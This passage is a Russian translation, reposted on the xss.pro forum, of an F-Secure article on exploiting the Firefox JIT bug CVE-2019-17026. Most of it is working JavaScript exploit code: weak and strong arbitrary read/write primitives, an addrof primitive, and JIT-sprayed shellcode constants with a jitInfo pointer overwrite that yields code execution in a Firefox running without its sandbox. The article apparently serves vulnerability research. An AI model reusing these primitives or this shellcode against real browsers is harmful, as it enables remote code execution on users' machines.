На этом этапе можно создать слабый примитив чтения/записи, используя указатель слотов rw_arr. Если бы rw_arr имел единственное свойство, указанное в его форме, то установка указателя слотов на произвольные адреса позволила бы им считываться как двойные, обращаясь к этому свойству, и записывать, перезаписывая его двойным значением.
Например, после запуска rw_arr.x = 0 компоновка объекта будет выглядеть так:
Как только это будет сделано, указатель свойства может быть изменен, в результате чего свойство x будет использоваться для чтения и записи по произвольным адресам:
Это написано на JavaScript следующим образом:
JavaScript:
// Create properties that we can use for weak reads
rw_arr.x = 1.1;
// Can only handle normal pointers, not tagged pointers
// 1. Backup property pointer
// 2. Set property pointer to target address
// 3. Read value at address with property x
// 4. Restore the original property pointer
function weak_read(dbl_addr) {
original = setter_arr[8];
setter_arr[8] = dbl_addr; // properties pointer - change the pointer of x
result = rw_arr.x;
setter_arr[8] = original;
return result;
}
// Can only handle normal pointers, not tagged pointers
// 1. Backup property pointer
// 2. Set property pointer to target address
// 3. Set value at address with property x
// 4. Restore the original property pointer
function weak_write(dbl_addr, dbl_val) {
original = setter_arr[8];
setter_arr[8] = dbl_addr;
rw_arr.x = dbl_val;
setter_arr[8] = original;Однако это считается слабым примитивом, так как его можно использовать только для чтения немаркированных указателей, например, в JSObject. Если бы значение по адресу содержало правильные значения в наиболее значимых битах, то его можно было бы рассматривать как указатель на объект, а не как двойное значение, что привело бы к сбою программы при разыменовании объекта. Точно так же примитив записи не может легко записывать значения с тегами, поскольку они не могут быть выражены как двойные.
Даже в этом случае эти слабые примитивы на самом деле могут быть невероятно мощными.
Слабый Addrof
Одним из основных примитивов, которые могут быть созданы в эксплойтах JS, является примитив addrof, который, как следует из названия, получает адрес объекта. Прежде чем можно будет построить примитив строгого чтения, этот примитив необходим. К сожалению, поскольку примитив слабого чтения не может читать помеченные значения, чтение адреса целевого объекта из свойства не так просто. Эту проблему можно обойти с помощью трех свойств.
Если бы rw_arr имел три свойства (x, y и z), массив слотов выглядел бы следующим образом:
Если бы свойство y было назначено целевому объекту для вызова addrof, это выглядело бы так (отображалось так, как оно находится в памяти, без учета порядка байтов с прямым порядком байтов):
Теперь при перемещении указателя слота на 4 байта свойства изменяются:
В этот момент наиболее значимые биты адреса объекта (который также включает тег) могут быть прочитаны как двойное значение (поскольку новый тег равен нулю и, следовательно, находится в допустимом диапазоне двойного значения).
Обратите внимание, что тег для свойства x также находится в диапазоне двойного значения и, таким образом, может быть прочитан как двойной, а младшие значащие биты могут быть взяты с помощью ArrayBuffer для преобразования его между представлениями. Полный код этого примитива довольно прост:
JavaScript:
// Create properties that we can use for weak reads
rw_arr.x = 5.40900888e-315; // Most significant bits are 0 - no tag, allows an offset of 4 to be treated as a double
rw_arr.y = 0x41414141;
rw_arr.z = 0; // Least significant bits are 0 - offset of 4 means that y will be treated as a double
// Erases the tag and reads the address as a double
// 1. Backup property pointer
// 2. Sets property y to the object
// 3. Calculate new property offset
// 4. Read lower bits as double
// 5. Read upper bits as double
// 6. Remove the tag
// 7. Restore the original property pointer
function weak_addrof(o) {
// 1
original = setter_arr[8];
// 2
rw_arr.y = o;
// 3
dbl[0] = setter_arr[8];
num[0] = num[0] + 4;
setter_arr[8] = dbl[0];
// 4
dbl[0] = rw_arr.x;
lower = num[1];
// 5
dbl[0] = rw_arr.y; // Works in release, not in debug (assertion issues)
// 6
upper = num[0] & 0x00007fff;
// 7
setter_arr[8] = original;
// Convert to a float and return
num[0] = lower;
num[1] = upper;
return dbl[0];
}Те, у кого зоркий глаз, вероятно, будут интересоваться, что бы произошло, если бы 4 наименее значимых байта адреса объекта оказались в пределах диапазона тега объекта. В этом случае программа выйдет из строя из-за характера слабого чтения. Поэтому немного более длинная версия этого, но, безусловно, более надежная, состоит в том, чтобы установить наиболее значимые биты адреса объекта на 0 (используя двойное значение, для которого это так) и сдвинуть указатель слотов обратно на его исходная позиция, чтобы наименее значимые байты можно было прочитать как двойные значения без риска сбоя:
Сильное чтение
Позже произойдет JIT-спрей, и этот JIT-код нужно будет прочитать, чтобы найти смещение для шелл-кода. Некоторые места в этом JIT-коде содержат значения, которые примитив слабого чтения будет рассматривать как объекты. Следовательно, требуется более сильный примитив чтения. Для создания этого примитива необходимо использовать объект, который может свободно читать и записывать указатели как дубликаты без использования NaN-boxing, вызывающего проблемы. Float64Array идеально подходит под эти критерии:
Адрес этого объекта может быть получен с помощью примитива addrof, к нему может быть добавлено смещение указателя буфера, а затем он может использоваться с примитивом слабой записи для указания на произвольные адреса. Затем их можно прочитать с помощью объекта Float64Array:
JavaScript:
target_buf = new Float64Array(1); // Used for the strong read
data_ptr = null; // Save the pointer to the data pointer so we don't have to recalculate it each read
// Saves the pointer to the data pointer so it doesn't have to be recalculated
function setup_strong_read() {
arr_addr = weak_addrof(target_buf);
dbl[0] = arr_addr;
num[0] = num[0] + 56; // float64array data pointer
data_ptr = dbl[0];
}
// The strong read
// 1. Write the target address to the data pointer
// 2. Read the first double from the location
function read(dbl_addr) {
weak_write(data_ptr, dbl_addr);
return target_buf[0];
}На этом этапе требуется способ вызвать выполнение кода. Один из самых популярных способов сделать это при эксплуатации современных браузеров - это манипулирование JIT-кодом. Поскольку JIT-код генерируется из пользовательского кода, он в некоторой степени находится под контролем злоумышленника. В v8 распространенным методом является простое следование указателям от объекта WASM для достижения некоторого JIT-скомпилированного кода. Этот сегмент помечен как чтение/запись/выполнение и поэтому может быть перезаписан злоумышленником. SpiderMonkey, однако, помечает страницы JIT как чтение/запись при копировании кода JIT, а затем чтение/выполнение, как только это будет сделано, что означает, что злоумышленник не может записать свой собственный код в этот сегмент.
Чтобы решить эту проблему, используйте JIT-распыление. Этот метод включает использование постоянных значений (например, целых и двойных) для генерации шелл-кода в этом сегменте, а затем редактирование указателя страницы JIT в объекте функции, чтобы он указывал на эти постоянные значения, которые впоследствии обрабатываются как код.
JavaScript:
// Use constants to JIT spray shellcode
function shellcode(){
find_me = 5.40900888e-315; // 0x41414141 in memory - Used as a way to find
A = -6.828527034422786e-229;
B = 8.568532312320605e+170;
C = 1.4813365150669252e+248;
D = -6.032447120847604e-264;
E = -6.0391189260385385e-264;
F = 1.0842822352493598e-25;
G = 9.241363425014362e+44;
H = 2.2104256869204514e+40;
I = 2.4929675059396527e+40;
J = 3.2459699498717e-310;
K = 1.637926e-318;
}
// Searches from the JIT location to find 0x41414141
function find_shellcode_addr(addr) {
dbl[0] = addr;
for(i=0;i<100;i++) { // Only search 100 qwords
val = read(dbl[0]); // Strong read primitive
if(val == 5.40900888e-315) {
num[0] = num[0] + 8; // Past the find_me value
return dbl[0];
}
num[0] = num[0] + 8;
}
}
// Compile shellcode
for(i=0;i<0x1000;i++) shellcode();
// Get Shellcode address
shellcode_func = weak_addrof(shellcode);
// Get JSJitInfo structure
dbl[0] = shellcode_func;
num[0] = num[0] + 0x30; // JSFunction.u.native.extra.jitInfo_
jitinfo = weak_read(dbl[0]);
// Get JIT compiled location
jit_addr = weak_read(jitinfo); // First value is a pointer to rx region
dbl[0] = jit_addr;
// For this we need the strong read primitive since values here can start with 0xffff and thus act as tags
shellcode_addr = find_shellcode_addr(jit_addr);
// Write the new JIT function address
weak_write(jitinfo, shellcode_addr);
// Trigger code exec
shellcode();В экземпляре Firefox без тестовой среды этот шеллкод инициирует открытие xcalc:
Примечания к побегу из песочницы
CVE-2019-17026 использует процесс рендеринга, поэтому описанный выше эксплойт выполняется в браузере без тестовой среды. Чтобы этот эксплойт был эффективным в сценарии реального мира, необходимо выйти из песочницы, что потребует второй уязвимости. На мой взгляд, самая интересная часть этой цепочки эксплойтов - это то, как злоумышленники покинули песочницу. Хотя Internet Explorer не совсем обычная цель для APT в современную эпоху, есть вероятность, что это может быть просто побочным эффектом их выхода из песочницы, которая использовала уязвимость IE для выполнения кода через WPAD, что означает, что один баг может использоваться дважды для запуска в виде полной цепочки или один раз для выхода из песочницы Firefox.
Заключительные примечания
Что интересно в уязвимостях, используемых этой группой (CVE-2020-0674 и CVE-2019-17026), так это то, что это оба варианта ошибок, которые были раскрыты публично. CVE-2020-0674 является вариантом как CVE-2019-1367, так и CVE-2019-1429, а CVE-2019-17026 является вариантом класса ошибок CVE-2019-9810. Это говорит о том, что некоторые злоумышленники на самом деле неоднократно используют методологии вариантного анализа для успешного выявления похожих ошибок.
Источник: https://labs.f-secure.com/blog/exploiting-cve-2019-17026-a-firefox-jit-bug/
Автор перевода: yashechka
Переведено специально для портала xss.pro (c)